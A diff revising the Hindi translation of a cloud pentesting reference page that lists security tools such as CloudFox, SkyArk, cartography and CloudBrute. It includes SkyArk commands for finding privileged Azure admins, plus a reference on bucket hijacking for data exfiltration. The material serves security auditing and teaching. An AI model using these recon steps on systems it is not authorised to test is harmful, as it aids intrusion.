-Terraform AWS code की जाँच के लिए: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Steampipe के और AWS प्लगइन्स: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-यह python2.7 की आवश्यकता रखता है और ऐसा लगता है कि यह मेंटेन नहीं किया जा रहा है।
+इसे python2.7 की आवश्यकता होती है और यह असंरक्षित-सा लगता है।
 
 ### Nessus
 
-Nessus में _**Audit Cloud Infrastructure**_ स्कैन है जो समर्थित है: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure** में कुछ अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है ताकि **Client Id** प्राप्त किया जा सके।
+Nessus में _**Audit Cloud Infrastructure**_ नाम का scan है जो support करता है: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure** में **Client Id** प्राप्त करने के लिए कुछ extra configurations की जरूरत होती है।
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist एक **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) है जो क्लाउड प्रदाताओं से जानकारी प्राप्त करता है।
+Cloudlist एक **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) है Cloud Providers से।
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography एक Python टूल है जो इन्फ्रास्ट्रक्चर संसाधन और उनके बीच के संबंधों को एक सहज ग्राफ़ दृश्य में समेकित करता है, जिसे Neo4j डेटाबेस संचालित करता है।
+Cartography एक Python tool है जो infrastructure assets और उनके बीच के relationships को एक intuitive graph view में consolidate करता है, जिसे Neo4j database power करता है.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase क्लाउड इंफ्रास्ट्रक्चर, SaaS applications, security controls, और अन्य सेवाओं व सिस्टमों से assets और relationships इकट्ठा करके Neo4j database द्वारा समर्थित एक सहज ग्राफ़ व्यू में प्रस्तुत करता है।
+Starbase cloud infrastructure, SaaS applications, security controls, और more से assets और relationships इकट्ठा करता है, जिन्हें Neo4j database द्वारा supported एक intuitive graph view में दिखाया जाता है।
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-स्कैन किए गए AWS या Azure वातावरण में सबसे अधिक विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएँ, जिसमें AWS Shadow Admins भी शामिल हैं। यह powershell का उपयोग करता है।
+स्कैन किए गए AWS या Azure environment में सबसे अधिक privileged users को discover करें, जिसमें AWS Shadow Admins भी शामिल हैं। यह powershell का उपयोग करता है।
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,13 +398,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-एक टूल जो कंपनी (target) की infrastructure, files और apps को शीर्ष क्लाउड प्रदाताओं (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर खोजने के लिए है।
+किसी कंपनी (target) की infrastructure, files, और apps को top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) पर खोजने का एक tool।
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox एक टूल है जो cloud infrastructure में exploitable attack paths खोजने के लिए है (वर्तमान में केवल AWS & Azure समर्थित हैं, GCP जल्द आ रहा है)।
-- यह एक enumeration टूल है जो manual pentesting को complement करने के लिए बनाया गया है।
-- यह क्लाउड environment के भीतर किसी भी डेटा को create या modify नहीं करता/करती।
+- CloudFox cloud infrastructure में exploitable attack paths ढूँढने का tool है (अभी केवल AWS & Azure supported हैं, GCP जल्द आने वाला है).
+- यह एक enumeration tool है जिसे manual pentesting के पूरक के रूप में intended किया गया है.
+- यह cloud environment के भीतर कोई data create या modify नहीं करता.
 
 ### More lists of cloud security tools
 
@@ -410,12 +436,19 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## सामान्य क्लाउड सुरक्षा विशेषताएँ
+## Common Cloud Security Features
 
-### कन्फिडेंशियल कंप्यूटिंग
+### Confidential Computing
 
 {{#ref}}
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}